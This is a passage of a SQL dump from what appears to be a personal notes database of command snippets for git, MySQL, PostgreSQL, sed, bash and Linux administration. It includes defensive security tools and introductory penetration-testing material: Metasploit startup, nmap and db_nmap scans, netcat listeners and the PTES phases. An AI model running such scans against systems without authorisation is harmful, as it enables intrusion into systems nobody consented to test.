15:43:05'),(23,'#git #stash ','u wanted to change to another branch but u made a modif in the current_br which is NOT commited, u don_t want to commit bcz it is a small changement........ u have to stash........then check the stash list(__git stash list__)...... to go back in the previ modif (__git stash apply stash@{5}__) that is for instance','git stash',NULL,'2015-02-07 06:36:13'),(24,'#git #stash ','to remove some stash which is being saved.... note that a stash is a saving which is not commited','git stash drop stash@{2}',NULL,'2015-02-07 06:36:13'),(25,'#mysql #rename_table','the title explains everything','rename table db00.table00 to db00.newName',NULL,'2015-02-07 06:36:13'),(26,'#mysql #rename_user','the title explains everything','rename user \"user00\"@\"host00\" to \"user01\"@\"host01\"',NULL,'2015-02-07 06:36:13'),(27,'#mysql #change_pass','the user00 must be logged into mysql;....the title explains everything','set password for \"user00\"@\"host00\" = password(\"your new pass\")',NULL,'2015-02-07 06:36:13'),(28,'#sed #intro','sed fonctionne en mode line par line',NULL,NULL,'2015-02-07 06:36:13'),(29,'#sed #intro','sed fonctionne en mode line par line\ncela a des bonnes et des mauvaises consequences',NULL,NULL,'2015-02-07 06:36:13'),(30,'#sed #intro','sed s\'utilise de deux facons\n  classique : on exe une cmd_sed sur un fichier puis on recupere la sortie sur une autre fichier \n  directe : on exe une cmd_sed sur un fichier puis le resultat s\'applique sur le fichier passee en entree',NULL,NULL,'2015-02-07 06:36:13'),(31,'#sed #intro','sed peut recevoir un script:\n  il y a 2facons de passer un scrip a sed:\n    sed -e __ici_le_script_uniligne__\n    sed -f __script_file__',NULL,NULL,'2015-02-07 06:36:13'),(32,'#sed #important #basis','2014-12-19 17:04:40','','\nsed -e __script_uniline__\n  ex: sed -e \'4d; 7d \' test.txt                 \n    -e : for the fact that the script \'4d; 7d \' will be performed in file_test.txt\n    -d : to delete\n      so \'4d; 7d \' meant to delete the line 4 AND 7    \n\n  ex : sed -e \'4,7 d\' test.txt\n  	to delete the line from 4 TILL 7\n\n','2015-02-07 06:36:13'),(33,'#sed #regex #intro',NULL,NULL,'\nsed \'/^# / d\' test.txt','2015-02-07 06:36:13'),(34,'#mysql #cluster #introduction #nodes','MySQL Clusters are built from three different types of node.\n  cluster = sum(3nodes)\n  3nodes:\n    management node\n    storage node\n    api node\n      used to extract data from db\n      most common is __mysqld__\n',NULL,NULL,'2015-02-07 06:36:13'),(35,'#mysql #cluster #install','\nu have to dl and install 2files\n  MySQL-Cluster-gpl-server-7.a.b-c.rhel5.x86_64.rpm\n  	this is about the server of the cluster\n  MySQL-client-community-5.a.b-c.rhel5.x86_64.rpm   	this is about the client of the cluster  \n\nafter installing these rpms, a file is created:\n  /etc/my.cnf\n\n',NULL,NULL,'2015-02-07 06:36:13'),(36,'#mysql #status check','\n$ service mysql status\nOR\n$ /etc/init.d mysql status\nOR\n$ telnet host00 3306\n  this is check if the server is up\n    and listening for connections on the port\n',NULL,NULL,'2015-02-07 06:36:13'),(37,'#mysql #log check','\nthe file of log is in:\n  /var/log/mysql/mysql.log\n    that is defined on the confFile in #general-log-file',NULL,NULL,'2015-02-07 06:36:13'),(38,'#sec #iptables #intro','u really need iptables to filter traffic which are permitted in ur serv\n  without ipt all traffics are almost allowed which is not good ',NULL,NULL,'2015-02-07 06:36:13'),(39,'#sec #iptables #intro #firewall','firewall do the analyse all packets.. do they respect the rules',NULL,NULL,'2015-02-07 06:36:13'),(40,'#sec #iptables #intro #firewall','criteria of filter are many: ports, protocols, addrIP, and more\n\niptables is very strict. then, if u want to activate iptables, u have to block everything, and right after, open what u want little by little',NULL,NULL,'2015-02-07 06:36:13'),(41,'#sec #log #auth #sys','to see who was logged into ur sys','/var/log/auth.log',NULL,'2015-02-07 06:36:13'),(42,'#sec #log #stuff #sys','stuff of log... errors, bugs, informations, .....','/var/log/message\n/var/log/syslog',NULL,'2015-02-07 06:36:13'),(43,'#sec #log #fail2ban','log of fail2ban... ','/var/log/fail2ban',NULL,'2015-02-07 06:36:13'),(44,'#sec #log #snort','log of snort... ','/var/log/snort/alert',NULL,'2015-02-07 06:36:13'),(45,'#sec #log #rkhunter','log of rkhunter... ','/var/log/rkhunter',NULL,'2015-02-07 06:36:13'),(46,'#sec #rkhunter #intro','if someone hacked ur sys, maybe he installed a backdoor in ur sys then he can rehack ur sys, and a rootkit to hide the hack\n\nrkhunter can detect rootkits on the server ',NULL,NULL,'2015-02-07 06:36:13'),(47,'#sec #conf #rkhunter','configuration_file of rkhunter','/etc/default/rkhunter',NULL,'2015-02-07 06:36:13'),(48,'#sec #intro','firewall had to block some connections, but the connections which are opened had to be controlled too,....\n  then we have ids (intrusion detection sys) and ips (intrustion prevention sys)\n    they are types of software which will detect all attempt of intrusion',NULL,NULL,'2015-02-07 06:36:13'),(49,'#sec #intro','those are the steps to do a classic intrusion:\n  scan port\n  simple attack\n  intrusion\n  how to log in the server on the purpose',NULL,NULL,'2015-02-07 06:36:13'),(50,'#sec #intro #portsentry','\nto block|manage who can scan ur port',NULL,NULL,'2015-02-07 06:36:13'),(51,'#sec #conf_file #portsentry','conf file of #portsentry','/usr/local/psionic/portsentry/portsentry.conf',NULL,'2015-02-07 06:36:13'),(52,'#sec #conf_file #portsentry','conf file of #portsentry','/etc/portsentry/portsentry.conf',NULL,'2015-02-07 06:36:13'),(53,'#sec #fail2ban #intro #definition','\nit is based on blocking ip which tried to log into some services and which it was failed\n  it will block the ip with iptables',NULL,NULL,'2015-01-20 23:30:55'),(54,'#sec #fail2ban #conf',NULL,'/etc/fail2ban/jail.conf',NULL,'2015-02-07 06:36:13'),(55,'#sec #snort #intro','it is powerful and analyse the traffic in live, then ur sys can slow down with this\nhttp://www.trustonme.net/didactels/187.html\nhttp://doc.ubuntu-fr.org/snort\n    \n when bug appears, check /var/log/syslog\n',NULL,NULL,'2015-02-07 06:36:13'),(56,'#sec #log #logwatch #conf_file',NULL,'/usr/share/logwatch/default.conf/logwatch.conf',NULL,'2015-02-07 06:36:13'),(57,'#sys #conf_file #ssh',NULL,'/etc/ssh/sshd_config',NULL,'2015-02-07 06:36:13'),(58,'#sys #conf_file #apache2',NULL,'/etc/apache2/apache2.conf',NULL,'2015-02-07 06:36:13'),(59,'#nmap','to scan port on a server and to make it verbose','nmap -v ip00',NULL,'2015-02-07 06:36:13'),(60,'#nessus #intro #sec','to scan vulnerabilities in ur sys',NULL,NULL,'2015-02-07 06:36:13'),(61,'#osi #memo #aide_memo','all people seems to need data processing\nOR\nplease, do not throw sausage pizza away',NULL,NULL,'2015-02-07 06:36:13'),(62,'#mysql #query #ifnull','this will select col00 and col01, but if col01 is null then it will be replaced by \'newVal\' in the select query only','select col00, IFNULL(col01,\'newVal\')',NULL,'2015-01-16 05:43:50'),(63,'#postfix #conf_file',NULL,'/etc/postfix/main.cf',NULL,'2015-02-07 06:36:13'),(64,'#postfix #package_to_install',NULL,'postfix postfix-mysql libasl2-2 libasl2-modules sasl2-bin libpam-mysql procmail',NULL,'2015-02-07 06:36:13'),(65,'#cisco #basis #intro #info #default','by default, all pc connected to sw are in vlan1. u can check it by: sw#show vlan',NULL,NULL,'2015-02-05 06:56:40'),(66,'#cisco #create_vlan','sw_conf#vlan 15\nxxxxxx#name vlanName\n',NULL,NULL,'2015-02-07 06:36:13'),(67,'#scrb #preserve_space #space','\njust put ur string inside \"\"\nor inside \'\'\n  ex: echo \' this preserve space \'\n  ex: echo this will    not preserve     the space \n',NULL,NULL,'2015-02-16 18:26:55'),(68,'#bash #printf #basis','',NULL,'\nprintf \'%s=%d\' line 245\nout:\n  line=245','2015-03-08 15:51:13'),(69,'#scrb #echo #newline_no','echo -n \'this need \n to do a newline\'',NULL,NULL,'2015-02-16 18:26:55'),(70,'#scrb #echo #character_special','echo -e \'u can write here sth like \n to make a newline......do not forget the -e with echo\'',NULL,NULL,'2015-02-16 18:26:55'),(71,'#linux #ls -long-list','','','\nto exclude directories:\n    ls -lS | grep -v \'^d\' \n\nto list recursively\n    ls -R\n\nonly list files and size only\n    du -a --max-depth=1 | sort -n\n\nlist files and filter it with some size\n    find . -size +10k -exec ls -lh {} +\n','2015-03-01 16:43:58'),(72,'#linux #basic #output','to write normal_out of a cmd to file01 and the error_out of a cmd to file02','cmd00 1>fileForNormal 2>fileForError',NULL,'2015-02-07 06:36:13'),(73,'#linux #basic #output #same_file','to write normal_out and error of a cmd to file01 ','cmd00 &> fileForNormAndErr',NULL,'2015-02-07 06:36:13'),(74,'#linux #tail',NULL,NULL,'\nthis is to print from the bottom of the file00\n  ex: tail file00\n    will print the 10last lines of file00\n  ex: tail -n 25 \n    will print the 25last lines of file00','2015-02-07 06:36:13'),(75,'#git #ignore_file','\nadd the files in .gitignore',NULL,NULL,'2015-02-07 06:36:13'),(76,'#git #list #tag','the order of the result do not tell as well the ?historic of the tag','git tag',NULL,'2015-02-07 06:36:13'),(77,'#git #list #tag #specification','to list all v1.4.1 ... v1.4.5 ... v1.4.10000','git tag -l \'v1.4.*\'',NULL,'2015-02-07 06:36:13'),(78,'#git #tag #types','\n2types of git_tag:\n  light:\n    almost like branch, doesn_t change\n  noted\n    stored as an object, stored in db of git\n    could checked and signed by gnu_guard\n',NULL,NULL,'2015-02-07 06:36:13'),(79,'#git #tag #create',NULL,NULL,'git tag -a v1.0.2 -m \'this is the comment of the tag\' \n	\n	-a	:	to create the tag\n	-m	:	to set a comment for the tag\n\n','2015-02-07 06:36:13'),(80,'#git #tag #show',NULL,'git show v1.5',NULL,'2015-02-07 06:36:13'),(81,'#git #tagging_after_commit #baliser_apres_coup',NULL,NULL,'git tag -a v1.2 9fec56','2015-02-07 06:36:13'),(82,'#git #push #all_tag #tag',NULL,NULL,'git push origin --tags\n  that is to push all tags into remote server','2015-02-07 06:36:13'),(83,'#git #install on #windows','\nu have to install msysgit\n  http://code.google.com/p/msysgit',NULL,NULL,'2015-02-07 06:36:13'),(84,'#pg #basic #intro','\nto create a new db\n  in ur sys, u have to be the user postgres\n  $ createdb db00\nnow it is created\nto connect to it, u have to be the user postgres to do this\n  $ psql db00\n',NULL,NULL,'2015-02-07 06:36:13'),(85,'#linux #read #end_of_file #eof',NULL,NULL,'\nread << eof\n  u will type sth till u type eof\n','2015-02-07 06:36:13'),(86,'#scrb #case #basic','\n#decl_var\n# all variables which u will use in ur script should be declared before the body of the function \nlocal choice ;\nlocal answer=\' ;\nlocal question=\'do u want to play a game ? [y/n]\'\nread -p \"$question\" answer\ncase \"$answer\" in\n	[yY] ) choice=\'y\' ;;\n	[nN] ) choice=\'n\' ;;\n	*	 ) choice=\"$answer\"\n		# here if the answer is different than y/n\nesac\n\n\n',NULL,NULL,'2015-02-16 18:26:55'),(87,'#scrb #arithmetic #operation',NULL,NULL,'\n# declaration of variable\ndeclare -i var00\nvar00=$((5+9))\n','2015-02-16 18:26:55'),(89,'#scrb #give_value_if_null',NULL,NULL,'\n${var00:=\'default_val\'}\n${var00:=\"$(pwd)\"}\n','2015-02-16 18:26:55'),(90,'#mysql #offset #limit #query',NULL,NULL,'\nselect * from table00 limit 5 offset 10\n  the query will start from the result number_10\n  and will show 5 rows only','2015-02-07 06:36:13'),(91,'#bash #declare_var_type #type',NULL,NULL,'\nto declare an integer \n  then u can compare the variable using -ge or -lt or .......\n    $ declare -i varInt\n','2015-02-07 06:36:13'),(92,'#mysql #dummy #safe-update #update',NULL,NULL,'edit:/etc/mysql/my.cnf\n  [mysql]\n  safe-updates\n','2015-02-07 06:36:13'),(93,'#mysql #date #day',NULL,NULL,'to get the day, and some info of today\n  select day(now());\n    val: 1-31\n  dayofweek()\n    val: 1 = sunday\n         ...\n         7 = saturday\n  dayname()\n    val: Thursday, Monday, ......\n  dayofyear\n    val: 1 - 366\n','2015-02-07 06:36:13'),(94,'#mysql #date #str_to_date',NULL,NULL,'\nselect str_to_date(\'2015-11-28\', \'%Y-%m-%d\');\n  %Y  year\n    YYYY\n  %m  month\n    mm\n  %d  day\n    dd\n  %y  year\n    yy\n  %h  hour\n    hh\n  %i  mn\n    ii\n  %s  sec\n    ss\n','2015-02-07 06:36:13'),(95,'#mysql #save_all_db_in_server #server #save',NULL,NULL,'\n$ mysqldump --user=root --password --all-databases > dump.sql\n','2015-02-07 06:36:13'),(96,'#mysql #save_table_into_file00.sql #table #save',NULL,NULL,'\n$ mysqldump --user=root --password db00 table00 > table00.sql\n','2015-02-07 06:36:13'),(97,'#mysql #select #save #outfile',NULL,NULL,'select * from table00 into outfile \'/path/file00\'','2015-02-07 06:36:13'),(98,'\n#lvm #intro ','3 basic terms:\n  physical volume \n    any block device. hdd or software_RAID_volume\n  volume group\n    collection of physical volume\n    physical volume can be added or removed from volume_group\n  logical volume\n    volume_group doesn_t have OS on it, then it needs logical_volume\n    used to mount, create file sys\n',NULL,NULL,'2015-02-07 06:36:13'),(99,'#linux #grub #version #check',NULL,NULL,'grub-install --version','2015-02-07 06:36:13'),(100,'#linux #grub #change_bg #background #bg','edit:/etc/default/grub\n  GRUB_BACKGROUND=\"/path/img00.png\"\n  sudo update-grub\n\nthat worked on grub_1.99-26',NULL,NULL,'2015-02-07 06:36:13'),(101,'#mysql #change_pass #pwd #password','set password=password(\'pass00\')',NULL,NULL,'2015-02-07 06:36:13'),(102,'#linux #mmt #reinit_kali #kali #os',NULL,NULL,'those folders should be set when I just installed a new linuxOS\n  /repos\n  /opt\n','2015-02-07 06:36:13'),(103,'#irc #log_in #identify',NULL,NULL,'/msg nickserv identify pseudo00 pass00','2015-02-07 06:36:13'),(104,'#mysql #order_by',NULL,NULL,'SELECT col01, col02, col03, col04 FROM driver_log ORDER BY 3','2015-02-07 06:36:13'),(105,'#linux #firefox #ff #flash #install',NULL,'','\n  ø dl: http://get.adobe.com/flashplayer/\n  ø extract the .tar.gz \n  ø cp libflashplayer.so /usr/lib/mozilla/plugins/\n','2015-02-07 06:36:13'),(106,'#linux #filesystem #purpose_of_folder #root_folder','\n/dev:   raha hiAcceder peripherique: partitions, disk, carte son, ports SCSI, ...\n    /etc:   ato ny daholo ny fichiers de configuration des logiciels\n    /media: fimontena peripherique amovible(ho an\'ny OS sasany)\n     /usr:   fisian\'ny fichier hoPartagena en reseau, na natao en lecture seule\n    /opt:   misy ny apps complementaire, izan hoe tsy anle distro installee\n    /var:   ao no misy ny fichiers temporaires, miasa am logiciel ka ho supprimena rhf fermena ny logiciel\n    /boot:  ao no misy ny fichiers mampademarre ny machine,\n            ao koa no misy ny fichiersde configuration GRUB \n    /lib:   ao no misy ny librairie izay ampiasain\'ny utilisateur\n   /sbin:  mitovtov am /bin,\n   /bin:   ato no misy ny prg apesain_user\n',NULL,NULL,'2015-02-07 06:36:13'),(107,'#linux #filesystem #purpose_of_folder #root_folder','\n/srv contains site-specific data which is served by this system.\n/initrd provides the capability to load a RAM disk by the boot loader\n/dev is the location of special or device files.\n  everything is a file or a directory.\n  inside this: hda1, hda2, ...  which represent the various which represent the various\n     /dev/cdrom represent your CD-ROM\n    /dev/fd0 represent floppy disk \n\n/lost+found\n  Sometimes your system might crash or a power failure might take the machine down. Either way, at the next boot, a lengthy filesystem check using fsck will be done.\n    The files recovered are not likely to be complete\n      but there always is a chance that something worthwhile is recovered\n  Each partition has its own lost+found directory\n    If you find files in there, try to move them back to their original location\n\n/mnt\n  u should mount ur devices here like cd\n    mount /dev/cdrom /mnt/cdrom\n\n/proc\n  It doesn_t contain _real_ files but runtime system information\n    e.g. system memory, devices mounted, hardware configuration, etc\n  for the information centre for the kernel\n  e.g   \'lsmod\' is the same as \'cat /proc/modules\' while \'lspci\' is a synonym for \'cat /proc/pci\'\n\n',NULL,NULL,'2015-02-07 06:36:13'),(108,'to #extract some range of lines in file00 #sed',NULL,'sed -n 2,4p file00',NULL,'2015-02-07 06:36:13'),(109,'#mplayer #interval_playing',NULL,NULL,'\nto run a media from 90sec and 30sec which are after\n  mplayer -ss 90 -endpos 30 file00.mp3\n','2015-02-07 06:36:13'),(110,'#youtube-dl #install ',NULL,NULL,'\nhttp://rg3.github.io/youtube-dl/download.html\n\n  sudo curl https://yt-dl.org/downloads/2015.01.08/youtube-dl -o /usr/local/bin/youtube-dl\n  sudo chmod a+x /usr/local/bin/youtube-dl\n','2015-02-07 06:36:13'),(111,'#ffprobe #install',NULL,NULL,'this is installed with ffmpeg\n  apt-get install ffmpeg\n','2015-02-07 06:36:13'),(112,'#os#installation',NULL,NULL,'tune2fs -l /dev/sda5 |grep  \'Filesystem created\'\n','2015-02-07 06:36:13'),(113,'#latest_created_file #linux #ls',NULL,'ls -1t | head -1',NULL,'2015-02-07 06:36:13'),(114,'#linux #readlink',NULL,NULL,'readlink -f file00\n  to get the fullpath of file00','2015-02-07 06:36:13'),(115,'-find #linux simple',NULL,NULL,'find /path/folder00 -iname \'*pattern00*\'\n  to find file_folder having pattern00 in its name inside folder00\nto find multiple files with find\n    find  \\( -name \'demo.c\' -o -name \'hello\' \\)\n\nto get all files but not file01 and file02\n    find ! \\( -name \'demo.c\' -o -name \'hello\' \\)\n    \n','2015-03-09 08:08:15'),(116,'#mysql #update #append',NULL,NULL,'\nupdate table00 set col00=concat(col00, \'appended00\') ','2015-02-07 06:36:13'),(117,'#pg #architecture #basis #intro\nserver and client could be on different hosts. They will communicat over tcp_ip netw connection','\npg works on server/client\n  server is called postgres\n  client could be cli, graphical app, webserver that accesses the db',NULL,NULL,'2015-02-07 06:36:13'),(118,'#pg #basis #intro #linux #create_db',NULL,NULL,'\ncreatedb db00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:createdb','2015-02-07 06:36:13'),(119,'#pg #basis #intro #linux #delete_db',NULL,NULL,'\ndropdb db00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:createdb','2015-02-07 06:36:13'),(120,'#pg #basis #intro #create_user',NULL,NULL,'\ncreateuser user00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:','2015-02-07 06:36:13'),(121,'#pg #basis #intro #delete_user',NULL,NULL,'\ndeleteuser user00 # that is a linux cmd\n  remember that the _root_ of pg_db is called: postgres\n  then before doing the previous cmd, do this one\n    su postgres\n  then do the previous cmd:','2015-02-07 06:36:13'),(122,'#pg #basis #intro #role #explanation',NULL,NULL,'\nPostgreSQL manages database access permissions using the concept of roles\nA role can be thought of as either a database user, or a group of database users,','2015-02-07 06:36:13'),(123,'#pg #basis #intro #exit #go_out',NULL,NULL,'\ndb0==> q\n','2015-02-07 06:36:13'),(124,'#pg #basis #intro #help #get_help',NULL,NULL,'\ndb0==> h\n','2015-02-07 06:36:13'),(125,'#pg #basis #intro #create #table',NULL,NULL,'\nCREATE TABLE weather (\n    city            varchar(80),\n    temp_lo         int,           -- low temperature\n    temp_hi         int,           -- high temperature\n    prcp            real,          -- precipitation\n    date            date\n);\n','2015-02-07 06:36:13'),(126,'#pg #basis #intro #auto_increment #increment #serial#primary#key',NULL,NULL,'\nCREATE TABLE foo (\nid SERIAL PRIMARY KEY,\nbar varchar);\n\nthen col(id) will auto_increment\n','2015-02-07 06:36:13'),(127,'#pg #basis #insert',NULL,NULL,'\nINSERT INTO COMPANY (col_int, col_str)\nVALUES (100, \'str00\');\n','2015-02-07 06:36:13'),(128,'#pg #basis #drop #table',NULL,NULL,'\nDROP TABLE table_name;\n','2015-02-07 06:36:13'),(129,'#pg #basis #show #table #show_table',NULL,NULL,'\nd;\n','2015-02-07 06:36:13'),(130,'#pg #basis #list #show #db #database #show_databases',NULL,NULL,'\\list\n OR\n\\dt','2015-02-07 06:36:13'),(131,'#pg #describe#table ',NULL,'\n\\d+ table00;',NULL,'2015-02-07 06:36:13'),(132,'#pg #\\G ',NULL,NULL,'\n\\x \n  then it is now activated\n  and do it again to deactivate it','2015-02-07 06:36:13'),(133,'#irc #search#chan #list',NULL,NULL,'/msg alis list * -topic *topic00*','2015-02-07 06:36:13'),(134,'#metasploit #start #intro',NULL,NULL,'remember to start #pg\n  /etc/init.d/postgresql start\nu should understand the basis of pg\n\nstart #metasploit\n  /etc/init.d/metasploit start\n  # at the first time u run that cmd, metasploit will create a db(msf3)\n  # ifk: there are many cmd in #metasploit, one of them is #msfconsole\nstart #msfconsole\n  msfconsole # cmd lin\n  # now u have the prompt of msfconsole which look like this\n  #### msf >\n\ncheck that msfconsole is connected to db(msf3)\n  msf > db_status\n','2015-02-07 06:36:13'),(135,'#script #linux #starting#os',NULL,NULL,'edit:/etc/rc.local\n  # put ur script on that file\n\nOR\n\nifk: if the script to run the service is in /etc/init.d/\n  then, u can do\n  update-rc.d postgresql enable\n','2015-02-07 06:36:13'),(136,'#set #update',NULL,'/usr/share/set/set-update\n  and it will update automatically',NULL,'2015-02-07 06:36:13'),(137,'#ptes #intro #basics #phases #7phases','\nThe penetration testing execution standard consists of seven (7) main sections\n  Pre-engagement Interactions\n    when you discuss the _scope and terms\n      of the pentest with ur client\n    u should _convey the goal of the pentest\n\n  Intelligence Gathering\n    gather any information you can about the organization you are attacking by using social-media networks\n    how it behaves, how it operates, and how it ultimately can be attacked.\n    that will give you valuable _insight into the types of security controls in place.\n    ex : org00 has some ports opened, then they will be used when u query sth\n      try to query sth from another port, then u will be blocked\n      _probe that way of blocking sys\n    \n  Threat Modeling\n    uses the information you acquired in the intelligence-gathering\n    Threat modeling involves looking at an organization as an adversary and attempting to exploit weaknesses as an attacker would.\n      then, try to get the most powerful attack\n    xxxxxxxxx __important__ u just define the type of attack but u don_t attack yet xxxxxxxxxxxxxxxx\n\n  Vulnerability Analysis\n    after getting the way to attack, think about \n      how will you access the target \n    _takes into account_ port and vulnerability scans\n\n  Exploitation\n    this should be done when you know almost beyond a shadow of a doubt that an exploit will be successful.\n\n  Post-Exploitation\n    begins after you have compromised one or more systems\n    where u diffentiate urself from the average \n    targets information or data that the company values most\n    When you exploit one system after another, you are trying to demonstrate attacks that would have the greatest business impact\n\n  Reporting\n    use reports to communicate what you did, how you did it, and, most impor- tant, how the organization should fix it\n    At a minimum,\n      divide your report into an \n        executive summary, \n        executive presentation, \n        and technical findings\n          will be used by the client to remediate security holes\n',NULL,NULL,'2015-02-07 06:36:13'),(138,'#ptes #types #intro #2types','\novert pentesting\n  u have access from the organisation to pentest the sys of the org00\n  then, u have many information about the org_target\n\ncovert pentesting\n  to attack or to simulate an attacker towards an organisation\n    without the knowledge for the org_target that they are attacked :/\n',NULL,NULL,'2015-02-07 06:36:13'),(139,'#linux #group #list',NULL,NULL,'cut -d: -f1 /etc/group\n  that is to list all group in ur sys','2015-02-07 06:36:13'),(140,'#linux #user #list',NULL,NULL,'\ncut -d: -f1 /etc/passwd\n  to list all user in ur linux','2015-02-07 06:36:13'),(141,'#linux #user #create#useradd',NULL,NULL,'\nuseradd -d /path/home_user00 user00\n','2015-02-07 06:36:13'),(142,'#linux #create#user #specifi#uid#useradd',NULL,NULL,'useradd -u 127 user00','2015-02-07 06:36:13'),(143,'#linux #create#user #specifi#gid#useradd',NULL,NULL,'useradd -u 1000 -g 500 user00','2015-02-07 06:36:13'),(144,'#create#user to #multiple#groups',NULL,NULL,'useradd -G grp00,grp01,grp02 user00','2015-02-07 06:36:13'),(145,'#user to #check in #multiple#groups #id',NULL,NULL,'id user00','2015-02-07 06:36:13'),(146,'#useradd #create#user #specific#group',NULL,'useradd -G grp00 user00',NULL,'2015-02-07 06:36:13'),(147,'#linux #make a #user #sudoer',NULL,NULL,'edit:/etc/sudoers\n  add\n  user00 ALL=(ALL) ALL\n','2015-02-07 06:36:13'),(148,'#linux #cut #delimiter #column',NULL,NULL,'ls -l|cut -d -f4;\n  the delimiter is whitespace after -d and take the 4th col','2015-02-07 06:36:13'),(149,'#nc #check #port#listening',NULL,'nc -v 192.168.20.9 80',NULL,'2015-02-07 06:36:13'),(150,'#nc #check #port #incoming#connection',NULL,'nc -lvp 1234',NULL,'2015-02-07 06:36:13'),(151,'#nc #connection #chat #teamviewer #cli_only',NULL,NULL,'in pc who will listen\n  nc -lvp 1234 # 1234 is a port\n\nin pc who will send txt\n  nc 127.0.0.1 1234\n\nthen the second pc can send msg to the first, \n  change 127.0.0.1 by the ip of the first pc','2015-02-07 06:36:13'),(152,'#python #read#interactively',NULL,NULL,'#python #read#interactively #string','2015-02-07 06:36:13'),(153,'#python #read#interactively #integer',NULL,NULL,'p = input(\"integer: \") \n','2015-02-07 06:36:13'),(154,'#update #metasploit',NULL,NULL,'sudo msfupdate','2015-02-07 06:36:13'),(155,'#firewall #iptable #intro','firewall is the first line of defense\nto have a secure netw from outside attack\n  install a firewall between ur lin sys and the connection to the internet\n\nfirewall can be installed in:\n  router\n  computer',NULL,NULL,'2015-02-07 06:36:13'),(156,'#iptables #list#rules',NULL,NULL,'iptables --list','2015-02-07 06:36:13'),(157,'#iptables #intro #important#object',NULL,NULL,'\nR u l e s\n======================================================================================\n  perform the packetfiltering or manipulation\n  made of several parts\n    the table to which this rule should be added\n      If no table is defined the rule will be added to the “filter” table\n    The Chain to which this rule should be added\n    The filtering or manipulation instructions\n    The target of the rule\n      This target decides what should be done with the packet if it matches the rule.\n      ex : DROP : to drop the packets if the packets matched the rule\n           ACCEPT\n           LOG  : to write sth(...) if it matched\n\nC h a i n s\n==========================================================================================\nrules are organized in “chains”\nThere are some built-in chains that are always available for the user like the INPUT or the OUTPUT in the filter_table\n\nT a b l e s\n==========================================================================================\nchains themselves are organized in so called “tables”\n\nThere are three tables available \n  filter,\n    used for packet filtering\n  nat  \n    made for all kind of “Network Address Translation” technology\n  mangle\n    designed to hold chains and rules that change other attributes of the packets or sending them into the userspace to be processed by any other application\n    this is very complex','2015-02-07 06:36:13'),(158,'#metasploit #architecture','\n				  xxxxxxxx			    xxxxxxxxxxx\n                                  x  lib x              --------->  x  interf x\n				  xxxxxxxx              |           xxxxxxxxxxx\ntools    --------------->            rex		|	       console	\n			    	      ^			|		\n				      |			|		cli\n				   msfcore              |\n				      ^			|		web\n				      |                 |\nplugins  --------------->          msfbase    <---------|		gui\n				      ^             \n				      |\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\nx                                  modules					x\nxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\npayloads    |      exploits      |      encoders      |      nops      |      aux\n',NULL,NULL,'2015-02-07 06:36:13'),(159,'#firewall #iptable #intro #basic#functionalities','\nthose are some basic functionnality of firewall \n  Stealth Mode - Discarding Pings\n  bcz ping can find out if a particular sys is up\n    it can be discarded\n\n   Port Forwarding and Blocking\n     the most fundamental level of firewall security and will be the most used\n\n  Packet Filtering\n    much more advanced mechanism for providing security and is not available in typical small business or home use router devices\n',NULL,NULL,'2015-02-07 06:36:13'),(160,'#metasploit #architecture','many libs are used to keep msf functioning, the most important is (part of the framework) REX(ruby extension) lib\nmsf_core lib extends rex',NULL,NULL,'2015-02-07 06:36:13'),(161,'#metasploit #interface','\n/usr/share/metasploit-framework/msfgui\n  for the gui of msf\n/usr/share/metasploit-framework/msfconsole   for the console of msf  they are right for kali-linux1.0.8 ',NULL,NULL,'2015-02-07 06:36:13'),(162,'#msf #save_to#db #db_nmap #scan',NULL,NULL,'msf > db_nmap 192.168.56.102','2015-02-07 06:36:13'),(163,'#mysql #create#procedure #basic',NULL,NULL,'\ndelimiter |\nCREATE PROCEDURE proc00()\nbegin\n...\nend|\n\ndo not do the creation of a procedure inside \\e of mysql','2015-02-07 06:36:13'),(164,'#mysql #procedure #proc #call',NULL,NULL,'call proc00()','2015-02-07 06:36:13'),(165,'#mysql #procedure #proc #parameter #argument #in',NULL,NULL,'\nCREATE PROCEDURE proc00 (IN param00 INT)\nbegin\n...\nend\n','2015-02-07 06:36:13'),(166,'#mysql #procedure #proc #parameter #argument#in #call',NULL,NULL,'call proc00(1)\nOR\nSET @var00 := 2;\ncall proc00(@var00)\n','2015-02-07 06:36:13'),(167,'#mysql #procedure #proc #parameter #argument',NULL,NULL,'\nCREATE PROCEDURE proc00 (IN param00 INT, OUT param01 int)\nbegin\n...\nend\n','2015-02-07 06:36:13'),(168,'#mysql #conf #activate#log',NULL,NULL,'edit:/etc/mysql/my.cnf, add\n  [mysql]\n  general_log_file        = /var/log/mysql/mysql.log\n  general_log             = 1\n','2015-02-07 06:36:13'),(169,'#definition #pen_testing','Penetration Testing goes beyond an assessment by evaluating identified vulnerabilities\nA Penetration Test would attempt to attack those vulnerabilities in the same manner as a malicious hacker to verify which vulnerabilities are genuine reducing the real list of system vulnerabilities\n\n\nPenetration Testing does not make networks more secure!\nPenetration Testing evaluates the effectiveness of existing security\nIf\nIf a customer does not have strong security then they will receive little value from Penetration Testing services ',NULL,NULL,'2015-02-07 06:36:13'),(170,'#ptes #terminology #methodology','The most common terminology defining the starting state is Black box testing, White box testing, or a blend between White and Black box testing known as Gray box testing\n\nBlack box assumes the Penetration Tester has no prior knowledge of the target\nStarting a Black box project requires a lot of reconnaissance\n\nWhite box is when a Penetration Tester has intimate knowledge about the system.\n\ngray box is between white and blackbox\n\nAn internal security group usually performs white box testing',NULL,NULL,'2015-02-07 06:36:13'),(171,'#git #add #remote#repo',NULL,'git remote add origin https://github.com/user/repo.git',NULL,'2015-02-07 06:36:13'),(172,'#git #version #check',NULL,'git --version',NULL,'2015-02-07 06:36:13'),(173,'#git #remote#repo #tip #ssh','\nedit: .git/config\n  change: url=https://MichaelDrogalis@github.com/derekerdmann/lunch_call.git\n  to:     url=ssh://git@github.com/derekerdmann/lunch_call.git\n',NULL,NULL,'2015-01-17 08:22:33'),(174,'#git #mail #add #global',NULL,NULL,'git config --global user.email 